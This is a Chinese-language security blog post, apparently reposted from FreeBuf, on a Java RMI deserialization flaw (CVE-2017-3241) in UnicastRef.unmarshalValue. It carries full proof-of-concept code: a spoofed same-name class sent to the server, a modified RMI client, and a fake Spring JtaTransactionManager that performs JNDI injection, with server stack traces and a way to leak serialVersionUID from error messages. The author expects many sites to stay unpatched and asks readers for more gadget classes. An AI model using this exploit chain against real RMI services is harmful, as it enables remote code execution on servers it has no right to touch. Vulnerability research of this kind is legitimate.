rmi远程代码执行漏洞_Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )...

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

*本文原创作者:jfeiyi,本文属FreeBuf原创奖励计划,未经许可禁止转载

本打算慢慢写出来的,但前几天发现国外有研究员发了一篇关于这个CVE的文章,他和我找到的地方很相似。然而不知道是不是Oracle认为是同一个漏洞然后合并了CVE,还是说我找错了CVE。总之,先简单描述一下漏洞:对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。听起来可能有点绕,请往下看。

就直接上问题代码了。在Java RMI的sun.rmi.server.UnicastRef类中,有如下一段代码:300    protected static Object More ...unmarshalValue(Class> type, ObjectInput in)

301        throws IOException, ClassNotFoundException

302    {

303        if (type.isPrimitive()) {

304            if (type == int.class) {

305                return Integer.valueOf(in.readInt());

306            } else if (type == boolean.class) {

307                return Boolean.valueOf(in.readBoolean());

308            } else if (type == byte.class) {

309                return Byte.valueOf(in.readByte());

310            } else if (type == char.class) {

311                return Character.valueOf(in.readChar());

312            } else if (type == short.class) {

313                return Short.valueOf(in.readShort());

314            } else if (type == long.class) {

315                return Long.valueOf(in.readLong());

316            } else if (type == float.class) {

317                return Float.valueOf(in.readFloat());

318            } else if (type == double.class) {

319                return Double.valueOf(in.readDouble());

320            } else {

321                throw new Error("Unrecognized primitive type: " + type);

322            }

323        } else {

324            return in.readObject();

325        }

326    }

看324行,如果你熟悉java反序列化漏洞,看到此你应该就可以激动了。该代码直接调用readObject,且在原生Java类里。结合2016 black hat上那个spring-tx.jar或者之前apache common中的类,都可以实现远程代码执行。spring-tx里的那个我实验成功了,且Spring rmi中继承了这个漏洞。但Spring team表示不修,和他们没关系。。。

其实写到这,很多技术大牛已经可以自己找出怎么黑了。下面只是简单写写我如何通过正常Java RMI程序来攻击的,因为我觉得这招还是比较淫荡的。

以下是一个正常的服务器端接口,接口参数为Message对象,Message对象是要被序列化的对象:public interface Services extends java.rmi.Remote

{

String sendMessage(Message msg) throws RemoteException;

}

public class Message implements Serializable {

private String msg;

public Message()

{

}

public String getMessage() {

System.out.println("Processing message: "+msg);

return msg;

}

public void setMessage(String msg) {

this.msg = msg;

}

/*

* server will tell the serialVersionUID for first run, then just put it below

*/

private final static long serialVersionUID = 1311618551071721443L;

}

服务器端程序,sendMessage接口实现只是调用getMessage打印字符串:public class RMIServer

implements Services {

public RMIServer() throws RemoteException {

}

public static void main(String args[]) throws Exception {

System.out.println("RMI server started");

RMIServer obj = new RMIServer();

try {

Services stub = (Services) UnicastRemoteObject.exportObject(obj,0);

Registry reg;

try {

reg = LocateRegistry.createRegistry(1099);

System.out.println("java RMI registry created.");

} catch(Exception e) {

System.out.println("Using existing registry");

reg = LocateRegistry.getRegistry();

}

reg.rebind("RMIServer", stub);

} catch (RemoteException e) {

e.printStackTrace();

}

}

@Override

public String sendMessage(Message msg) throws RemoteException {

return msg.getMessage();

}

}

假设服务器端类路径里还存在一个PublicKnown类,比如spring或者apache common包里的某个类:)。这种类大部分情况下会被开发人员会一起打包进项目,但从来不用:package org.xfei.thirdparty;

public class PublicKnown implements Serializable {

private void readObject(java.io.ObjectInputStream stream)

throws  ClassNotFoundException, IOException {

stream.defaultReadObject();

System.out.println("Server object initializing.....");

}

}

如上,该类自己实现了一个readObject方法,用来做XXX事情。。。

以下是正常的客户端代码:public class RMIClient {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1");

Services obj = (Services) registry.lookup("RMIServer");

Message normal = new Message();

normal.setMessage("Hello");

System.out.println(obj.sendMessage(normal));

}

}

输出我就不放了,就是打印个Hello。

好了,如何攻击呢?

首先在客户端程序里当然要有Message类,而Message类基本应该是公开已知的。然后,虽然Spring tx和Apache common都是开源的,但我们先假设攻击者不知道源代码,但知道PublicKnown的类名和包名,于是他在客户端里构建如下的一个类:package org.xfei.thirdparty;

import java.io.IOException;

import java.io.Serializable;

import org.xfei.pojo.Message;

public class PublicKnown extends Message  implements Serializable{

private final static long serialVersionUID = 7179259861090880402L;

}

重点是包名,类名必须一致,且继承Message,serialVersionUID可以先不知道,之后能找出来。

然后改一改客户端程序:import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import org.xfei.pojo.Message;

import org.xfei.thirdparty.PublicKnown;

public class RMIClient {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1");

Services obj = (Services) registry.lookup("RMIServer");

PublicKnown malicious = new PublicKnown();

malicious.setMessage("haha");

System.out.println(obj.sendMessage(malicious));

}

}

服务器端端的输出如下(直接从报告里拷贝过来的截图):

也就是说,服务器端在接收到客户端发送的对象后会按PublicKnown类来反序列化,然后调用PublicKnown的readObject方法。

至此,如何配合Spring-tx.jar里的那个JtaTransactionManager类实现远程代码执行我想大家也知道了。把JtaTransactionManager源代码抄一份,让其继承Message类或者实现Message实现了的接口(如果有)就行。两种我都试验过可行。哦,对了,在JtaTransactionManager中你还需要控制userTransactionName变量的值,直接写在客户端代码里就行了,神奇的服务器端会用客户端提供的变量值和服务器端定义的readObject去执行。

还剩最后一个问题,serialVersionUID怎么得到?在我实验的时候,第一次发PublicKnown类过去的时候不要包含这个变量,服务器端会返回一个错误信息给你,错误信息里会带有这个值。。。。。。

且根据不同的错误信息,你还可以知道你的目标类是否存在于服务器的类路径里。

虽然Oracle已经发了补丁,但我打赌很多地方是不会升级JDK的。。。。

要是有类似于JtaTransactionManager这种可以配合使用的类,还请大家共享一下呀!

例子1:原理上面说了,补一张项目截图:

忽略里面和spring相关的包,那些是为了下面的例子在做准备。这个例子中的代码都是拷贝上面我贴的。你还可以在服务器端的PublicKnown中加个本地变量,并在readObject方法中输出,然后在客户端的PublicKnown中加个同样的变量,赋值,传到服务器端,你会看到变量值会在服务器端被输出出来。

上面也提到不知道服务器端的serialVersionUID,但服务器端会在出现任何异常的情况下把异常信息返回到客户端,如下:

例子2:利用JtaTransactionManager进行JNDI注入的例子:

返回到客户端的部分异常信息(我懒,没有挂个对象在8080端口):Exception in thread "main" org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://127.0.0.1:8080/object]; nested exception is javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:

java.net.ConnectException: Connection refused: connect]

at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:574)

at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)

at org.springframework.transaction.jta.JtaTransactionManager.readObject(JtaTransactionManager.java:1206)

..................................

at org.xfei.client.RMIClient.main(RMIClient.java:19)

Caused by: javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:

java.net.ConnectException: Connection refused: connect]

at com.sun.jndi.rmi.registry.RegistryContext.lookup(Unknown Source)

at com.sun.jndi.toolkit.url.GenericURLContext.lookup(Unknown Source)

at javax.naming.InitialContext.lookup(Unknown Source)

at org.springframework.jndi.JndiTemplate$1.doInContext(JndiTemplate.java:155)

at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:87)

at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:152)

at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179)

at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:571)

at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)

.................................................................

Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:

java.net.ConnectException: Connection refused: connect

at sun.rmi.transport.tcp.TCPEndpoint.newSocket(Unknown Source)

at sun.rmi.transport.tcp.TCPChannel.createConnection(Unknown Source)

at sun.rmi.transport.tcp.TCPChannel.newConnection(Unknown Source)

at sun.rmi.server.UnicastRef.newCall(Unknown Source)

at sun.rmi.registry.RegistryImpl_Stub.lookup(Unknown Source)

... 31 more

Caused by: java.net.ConnectException: Connection refused: connect

at java.net.DualStackPlainSocketImpl.connect0(Native Method)

at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source)

at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source)

at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source)

at java.net.AbstractPlainSocketImpl.connect(Unknown Source)

at java.net.PlainSocketImpl.connect(Unknown Source)

at java.net.SocksSocketImpl.connect(Unknown Source)

at java.net.Socket.connect(Unknown Source)

at java.net.Socket.connect(Unknown Source)

at java.net.Socket.(Unknown Source)

at java.net.Socket.(Unknown Source)

at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(Unknown Source)

at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(Unknown Source)

... 36 more

客户端的JtaTransactionManager代码如下:package org.springframework.transaction.jta;

import java.io.IOException;

import java.io.ObjectInputStream;

import java.io.Serializable;

import java.util.List;

import java.util.Properties;

import javax.naming.NamingException;

import org.apache.commons.logging.Log;

import org.apache.commons.logging.LogFactory;

import org.xfei.pojo.Message;

@SuppressWarnings("serial")

public class JtaTransactionManager extends Message

implements  Serializable {

public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";

public final static long  serialVersionUID = 4720255569299536580L;

private String userTransactionName;

public void setUserTransactionName(String userTransactionName) {

this.userTransactionName = userTransactionName;

}

}

Message有稍做修改:package org.xfei.pojo;

import java.io.Serializable;

import org.springframework.transaction.TransactionDefinition;

import org.springframework.transaction.support.AbstractPlatformTransactionManager;

import org.springframework.transaction.support.DefaultTransactionStatus;

public class Message extends AbstractPlatformTransactionManager implements Serializable {

private String msg;

public Message()

{

}

public String getMessage() {

System.out.println("Processing message: "+msg);

return msg;

}

public void setMessage(String msg) {

this.msg = msg;

}

/*

* server will tell the serialVersionUID for first run, then just put it below

*/

private final static long serialVersionUID = 1311618551071721443L;

@Override

protected void doBegin(Object arg0, TransactionDefinition arg1)

{

// TODO Auto-generated method stub

}

@Override

protected void doCommit(DefaultTransactionStatus arg0)

{

// TODO Auto-generated method stub

}

@Override

protected Object doGetTransaction() {

// TODO Auto-generated method stub

return null;

}

@Override

protected void doRollback(DefaultTransactionStatus arg0)

{

// TODO Auto-generated method stub

}

}

我以前的例子是在Spring RMI中测试的,做起来比这个顺利多了。这次是单独建Java项目测试。。。。

需要主意以下几点:1,当你把假的JtaTransactionManager对象发到服务器端的时候,服务器端其实也要各种初始化,所以会依赖到各种Spring的包,还有一个Apapche common的logger以及jta包。所以服务器端不是单有个Spring-tx.jar就能成功攻击的,但Spring项目里这几个依赖包出现的几率比spring-tx.jar高得多。

2,客户端编译的时候似乎也依赖几个类,我直接把所有spring jar包都放进去了。

3,看到截图,有的小伙伴可能会质疑这个是客户端编译的错误。其实我刚运行出来的时候也这么质疑的。。。但这其实是服务器端发过来的异常信息。

首先,initUserTransactionAndTransactionManager是被调用了的.。这个方法只会是在readObject中被调用,客户端哪里有调用readObject?

其次,客户端JtaTransactionManager代码我是改过的,根本没有相关代码。

最后,客户端jar包里的JtaTransactionManager类我已经删了:

*本文原创作者:jfeiyi,本文属FreeBuf原创奖励计划,未经许可禁止转载

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值